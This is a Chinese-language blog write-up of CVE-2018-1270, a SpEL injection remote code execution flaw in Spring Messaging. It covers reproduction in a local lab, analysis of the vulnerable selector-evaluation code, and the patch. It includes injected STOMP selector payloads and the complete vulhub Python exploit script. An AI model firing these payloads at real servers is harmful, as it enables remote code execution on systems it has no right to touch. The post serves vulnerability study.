[JAVA安全]Spring Messaging之CVE-2018-1270

news2024/11/15 8:37:22

 

漏洞简介

Spring 框架中通过spring-messaging 模块来实现 STOMP (Simple Text-Orientated Messaging Protocol),STOMP是一种封装 WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行, spring-messaging和spring-websocket模块都能提供WebSocket支持的STOMP,一旦有了这些依赖项,就可以通过WebSocket使用SockJS Fallback公开STOMP端点。

具体的说,在Spring Messaging 中,其允许客户端订阅消息,并使用selector 过滤消息,其中 selector 使用SpEL 表达式编写,并使用StandardEvaluationContext解析,从而导致SpEL表达式注入漏洞。

推荐一篇文章 以理解 STOMP :Spring消息之STOMP - JMCui - 博客园 (cnblogs.com)

 引用p神的描述:

spring-messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。 连接后端服务器的流程,可以理解为:

1. 用STOMP协议将数据组合成一个文本流

2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

正是由于第2条的存在,我们才可以使用http来复现该漏洞,称之为“降维打击”

如同提及 Struts2 RCE 类漏洞都要提及OGNL 表达式语言

而 Spring 的RCE 类漏洞 往往和SpEL 表达式有关

环境搭建:

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket



回退到 漏洞版本
cd gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

然后导入到IDEA,进行MAVEN加载

 运行成功:

漏洞复现:

方式一:

通过开发者工具F12 修改其中的 app.js 里面的 connect函数 

如何修改,直接定义一个header,里面写入json格式的“selector”,值为SpEL表达式,内容是弹计算器;最后在加入该header

 var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};

最后记得保存一下该app.js

这个时候,依次点击Connect,输入任意字符串,单击Send

 

 利用完成了,但是感觉不是RCE,就像是修改本地文件一样。

但是如果你去Console 看一眼,你会发现整个通讯过程很多是js 完成的,不是app.js发起,就是调用 stomp.min.js 来发起

方式二:

从前面提到

STOMP是将数据组合成文本流spring-messaging通过sockjs协议发送该文本流,走的是websocket或xhr其中一种通道 

具体可以在 "网络"  可以看到

 其实可以发现当你点击完Connect按钮以后,剩余的通讯过程双方全是通过Websocket进行了,当然通讯的内容我们也是可以直接在里面看的,切换到“Frames”选项卡,可以看见完整的通讯内容

当然,这个只能看不能改,能不能类似burp改http包来改包呢?

毕竟我们知道:burp是能拦截修改websocket数据包的,所以自然可以用于发现并修改整个connect和send的过程websocket的相关情况。同时改app.js这种方式本质上是发送的内容中加了header字段,里面写了selector和SpEL表达式实现命令执行。讲道理是可以用burp替代浏览器完成相关发包操作的。

如果这个时候你用burp抓一下Chrome浏览器的数据包,你会非常震惊地发现:

啥包都没抓到

如果遇到这个情况,你可以改用Firefox浏览器,就可以抓取到相关数据包

步骤1 :

 先单击“Connect”按钮建立连接,依次抓取并释放,直到抓到内容为以下的websocket包时

在greetings后面添加payload(适用Windows系统),注意双引号使用反斜杠进行转义

 完整pyload:

["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\"calc\").start()\n\n\u0000"]

步骤2:

在文本框中输入任意字符串即可,然后点击  "Send"

 ta

使用burp修改websocket包这种方式适合漏洞复现,有点感觉,但是CVE-2018-1270这个漏洞,网上已经有POC和EXP流出了,有没有可以用python直接执行exp的脚本这种方式实现命令执行呢?

P牛在vulhub上已经贴出https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py

我们可以直接下载下来,使用的时候注意几点:

1. 使用spring的guides项目构建的环境无需修改路径,实际项目可能路径会发生变化;
2. 修改sockjs中的目标URL地址;
3. 修改sockjs的send方法中的seletor内容,修改想执行的命令
4. 建议使用python3.6及以上版本运行该exp;
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://127.0.0.1:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('calc')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

整个过程如果顺利的话,就是这样,py里字符串是vulhub

简单看下脚本内容,实际上可以发现本EXP就是使用python将sockjs的send方法实现了一遍,实现了给指定url发送含有SpEL表达式的websocket请求。

对于本EXP(实际上是POC),P牛自己也阐述了大致流程和其中的局限性,这里引用一下:

1.基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
2.待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
3.某一个订阅的地址,如vulhub中为:/topic/greetings
4.如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

漏洞分析

不具体调试分析,只分析漏洞点,具体调试分析可以参考其他文章

从补丁的文件开始分析,即 spring-messaging/src/main/java/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java    

关键在于  addSubscriptionInternal()函数,这里对header参数进行了接收和处理,其中会获取header中的selector,当selector不为空时则设置到expression  (表达式)中:

@Override
protected void addSubscriptionInternal(
		String sessionId, String subsId, String destination, Message<?> message) {

	Expression expression = null;
	MessageHeaders headers = message.getHeaders();
	String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
	if (selector != null) {
		try {
			expression = this.expressionParser.parseExpression(selector);
			this.selectorHeaderInUse = true;
			if (logger.isTraceEnabled()) {
				logger.trace("Subscription selector: [" + selector + "]");
			}
		}
		catch (Throwable ex) {
			if (logger.isDebugEnabled()) {
				logger.debug("Failed to parse selector: " + selector, ex);
			}
		}
	}
	this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
	this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);

通过sessionIdsubsId确定一个selector属性,后续服务端就通过这个subsId来查找特定会话,也就是从headers头部信息查找selector,由selector的值作为expression被执行

前面这是Subscribe操作时设置的selector,我们知道漏洞的触发是在Send之后,接着看下Send之后的函数调用。

看到org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java,其中有个

sendMessageToSubscribers()函数,即将我们要发送的数据发送给订阅者,其中参数message保存了此次连接的相关信息,message的头部信息包含了selector的属性,调用了findSubscriptions()函数:

protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
	MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
	...
}

我们跟进查看findSubscriptions()函数,位于org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java中,这里将message传进来findSubscriptionsInternal()函数中:

public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
	...
	return findSubscriptionsInternal(destination, message);
}

跟进findSubscriptionsInternal()函数,位于org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java中,这里将message传入了filterSubscriptions()函数进行处理:

@Override
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
	MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
	return filterSubscriptions(result, message);
}

跟进filterSubscriptions()函数,同样在DefaultSubscriptionRegistry.java中定义了,该函数获取前面配置的selector来对subscriptions进行过滤选择,如下

private MultiValueMap<String, String> filterSubscriptions(
		MultiValueMap<String, String> allMatches, Message<?> message) {

	if (!this.selectorHeaderInUse) {
		return allMatches;
	}
	EvaluationContext context = null;
	MultiValueMap<String, String> result = new LinkedMultiValueMap<>(allMatches.size());
	for (String sessionId : allMatches.keySet()) {
		for (String subId : allMatches.get(sessionId)) {
			SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
			if (info == null) {
				continue;
			}
			Subscription sub = info.getSubscription(subId);
			if (sub == null) {
				continue;
			}
			Expression expression = sub.getSelectorExpression();
			if (expression == null) {
				result.add(sessionId, subId);
				continue;
			}
			if (context == null) {
				context = new StandardEvaluationContext(message);
				context.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());
			}
			try {
				if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
					result.add(sessionId, subId);
				}
			}
			catch (SpelEvaluationException ex) {
				if (logger.isDebugEnabled()) {
					logger.debug("Failed to evaluate selector: " + ex.getMessage());
				}
			}
			catch (Throwable ex) {
				logger.debug("Failed to evaluate selector", ex);
			}
		}
	}
	return result;
}

分析得知,通过Expression expression = sub.getSelectorExpression();来获取前面订阅时设置的Selector表达式,然后在if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))代码中调用了expression.getValue()函数,这就是漏洞触发点,成功触发了SpEL表达式注入漏洞。

补丁:

Re-use EvaluationContext in DefaultSubscriptionRegistry · spring-projects/spring-framework@e0de912 · GitHub

主要是修改了DefaultSubscriptionRegistry这个类,用SimpleEvaluationContext来替代了StandardEvaluationContext,也就是采用了SpEL表达式注入漏洞的通用防御方法。

参考文献:

spring-messaging Remote Code Execution 分析-【CVE-2018-1270】

浅析Spring Messaging之CVE-2018-1270 [ Mi1k7ea ]

IDEA动态调试分析Spring RCE CVE-2018-1270 - MeetSec遇安

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/356750.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++笔记 模板的进阶知识

目录 1. 非类型模板参数 2.模板的特化 2.1 函数模板的特化 2.2 类模板的特化 2.2.1 全特化 2.2.2 偏特化 3.模板的分离编译 3.1 什么是分离编译&#xff1f; 3.2 模板的分离编译 4.模板的总结 模板的初阶内容&#xff1a;(594条消息) C模板的原理和使用_全貌的博客-CSD…

【干货】如何打造HR无法拒绝的简历?测试开发大牛带手把手你写简历!

通过率90%&#xff0c;优秀的软件测试简历长什么样&#xff1f; 也许口才好的人会觉得简历不重要&#xff0c;能说就行了&#xff0c;那是因为你没有体会过石沉大海的感觉&#xff01; 很多人觉得疑惑&#xff0c;为什么我投了那么多简历&#xff0c;都没有接到面试通知&…

加油站会员管理小程序实战开发教程15 完结篇

这篇是本次实战课程的最后一篇,我们在上篇还有两个问题没解决。一个是会员卡类型显示不对,一个是不同的会员卡我们希望背景色显示不同。我们先处理一下这两个问题 1 显示会员卡类型 在列表上直接显示会员卡类型,目前显示的是数字,这个是因为枚举类型导致的。枚举类型在数…

关于vb6无边框的窗体开发遇到的部分问题的解决方案

为了美化或自定义窗体&#xff0c;通常会把窗体做成无边框形式&#xff0c;使用无边框窗体会存在一些问题的&#xff0c;以vb为例&#xff0c;当窗体borderstyle设置为0时&#xff0c;会出现以下问题:1.任务栏不再出现程序图标 2.窗体无法拖行移动 3.窗体无法拖动缩放&#…

WampServer安装教程

文章目录简介&#xff1a;官网地址安装步骤&#xff1a;我是阿波&#xff0c;学习PHP记录一下笔记&#xff0c;如果对你有帮助&#xff0c;欢迎一键三连&#xff0c;谢谢&#xff01; 简介&#xff1a; WampServer是一个用于Windows操作系统的Web开发环境&#xff0c;其名称来…

10- 天猫用户复购预测 (机器学习集成算法) (项目十) *

项目难点 merchant: 商人重命名列名: user_log.rename(columns{seller_id:merchant_id}, inplaceTrue)数据类型转换: user_log[item_id] user_log[item_id].astype(int32)主要使用方法: xgboost, lightbm竞赛地址: 天猫复购预测之挑战Baseline_学习赛_天池大赛-阿里云天池…

java并发编程原理1(原子性,可见行,有序性,volatile,synchronized)

一、原子性&#xff1a; 1.1 Java中如何实现线程安全? 多线程操作共享数据出现的问题。 锁&#xff1a; 悲观锁&#xff1a;synchronized&#xff0c;lock乐观锁&#xff1a;CAS 可以根据业务情况&#xff0c;选择ThreadLocal&#xff0c;让每个线程玩自己的数据。 1.2 C…

内大-oj练习题(2期)

内大oj2期 1. 输出一个数的质数因子2. 寻找完数3. 圆的面积4. 求同存异5. 2的k进制数6. 输出排序序列6. DNA算法1. 输出一个数的质数因子 介绍 因子,例如 33=9 (3就是因子); 19=9(1,9就是因子) 质数, 只能被1和本身整除的数 题目 代码 #include <iostream>

Windows7下使用VMware11.1.1安装ubuntu-16.04.7

一、说明二、安装说明三、安装步骤详解1、先安装VMware软件2、创建虚拟机3、编辑虚拟机4、开启虚拟机&#xff0c;初始化Linux系统一、说明 虽然VMware和ubuntu最新版已经很高了&#xff0c;我这电脑由于是win7配值还低&#xff0c;所以采用低版本来安装 VMware版本&#xff1…

C++Primer15.5节练习

练习15.18&#xff1a; Base* p &d1&#xff1a;合法 p &d2&#xff1a;不合法&#xff0c;只有当派生类公有地继承基类时&#xff0c;用户代码才能使用派生类向基类的转换 p &d3&#xff1a;不合法&#xff0c;只有当派生类公有地继承基类时&#xff0…

ChatGpt与Google 谁能给出最好的回答

ChatGPT由于其先进的会话和技术功能而越来越受欢迎。你可以问聊天机器人任何你想问的问题&#xff0c;它会在几秒钟内输出答案。虽然它不是一个搜索引擎&#xff0c;你应该使用ChatGPT作为你的信息来源而不是谷歌&#xff0c;百度吗? 我们来根据国外的一场测试来看一下 ChatG…

spring注解方式整合Dubbo

系列文章目录 文章目录系列文章目录一、创建一个父工程项目二、创建子模块(dubbo-api模块)二、创建子模块(dubbo-provider模块)三、创建子模块(dubbo-consumer模块)总结一、创建一个父工程项目 这里我们通过Spring Initializer 来帮我们构建一个spring-dubbo这个父项目,点击nex…

python进阶--Numyp库(一)

一、Numpy库介绍 NumPy&#xff08;Numerical Python&#xff09;是Python的⼀种开源的数值计算扩展。提供多维数组对象&#xff0c;各种派⽣对象&#xff08;如掩码数组和矩阵&#xff09;&#xff0c;这种⼯具可⽤来存储和处理⼤型矩阵&#xff0c;⽐Python⾃身的嵌套列表&am…

【Redis 高级】- 持久化 - RDB

【Redis 高级】- 持久化 - RDB &#x1f451;什么是持久化呢&#xff1f; 那当然是够持久呀&#xff0c;这个持久如果在你不主动去删除的情况下&#xff0c;它就一直存在的。 &#x1f3b7;那么这有什么用呢&#xff1f; 举个栗子&#xff1a;我们在用 PowerPoint 在写价值 …

WEB系列(二)-----------XSS

XSS原理及基础 定义 恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的. 原因 程序对输入和输出的控制不够严格&#xff0c;导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。 分类 存储型反射型DOM型 测…

常见排序算法--Java实现

常见排序算法--Java实现插入排序直接插入排序折半插入排序希尔排序交换排序冒泡排序快速排序选择排序直接选择排序堆排序归并排序基数排序各种排序方法比较在网上找了些排序算法的资料。此篇笔记本人总结比较&#xff0c;简单注释&#xff0c;觉得比较好理解&#xff0c;且相对…

四大步骤,教你彻底关闭Win10自动更新

文章目录一、禁用Windows Update服务二、在组策略里关闭Win10自动更新相关服务三、禁用任务计划里边的Win10自动更新四、在注册表中关闭Win10自动更新参考资料一、禁用Windows Update服务 1、同时按下键盘 Win R&#xff0c;打开运行对话框&#xff0c;然后输入命令 services…

C语言运算符优先级和结合性一览表

所谓优先级就是当一个表达式中有多个运算符时&#xff0c;先计算谁&#xff0c;后计算谁。 运算符的优先级从高到低大致是&#xff1a;单目运算符、算术运算符、关系运算符、逻辑运算符、条件运算符、赋值运算符()和逗号运算符 简单记就是&#xff1a;&#xff01; > 算术运…

一起学 pixijs(1):常见图形的绘制

大家好&#xff0c;我是前端西瓜哥。 pixijs 是一个强大的 Web Canvas 2D 库&#xff0c;以其强大性能而著称。其底层使用了 WebGL 实现了硬件加速&#xff0c;当然如果不支持的话&#xff0c;也能回退为 Canvas。 本文使用的 pixijs 版本为 7.1.2。 Application Applicati…

【LeetCode】剑指 Offer 08. 二叉树的下一个节点 p65 -- Java Version

题目链接&#xff1a;无题目链接&#xff0c;不知道为啥力扣上找不到这一题。 1. 题目介绍&#xff08;08. 二叉树的下一个节点&#xff09; 题目&#xff1a;给定一个二叉树和其中的一个节点&#xff0c;请找出中序遍历顺序的下一个节点并且返回。注意&#xff0c;树中的节点…